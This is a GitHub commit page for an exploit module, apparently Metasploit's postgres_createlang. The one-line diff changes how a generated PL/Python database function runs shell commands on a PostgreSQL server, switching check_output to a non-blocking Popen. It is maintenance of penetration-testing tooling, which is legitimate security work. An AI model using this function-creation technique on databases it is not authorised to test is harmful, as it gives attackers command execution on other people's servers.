Skip to content

Commit

Permalink
Update postgres_createlang to use non-blocking Python function that d…
Browse files Browse the repository at this point in the history
…oesn't return data
  • Loading branch information
sjanusz-r7 committed Feb 2, 2024
1 parent b2e3e92 commit 341e379
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion modules/exploits/multi/postgres/postgres_createlang.rb
Original file line number Diff line number Diff line change
Expand Up @@ -146,7 +146,7 @@ def create_function?(language, func_name)
load_func = postgres_query(query)
when /^python(?:2|3)?/i
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
query << "$$ LANGUAGE pl#{language}u"
load_func = postgres_query(query)
end
Expand Down

0 comments on commit 341e379

Please sign in to comment.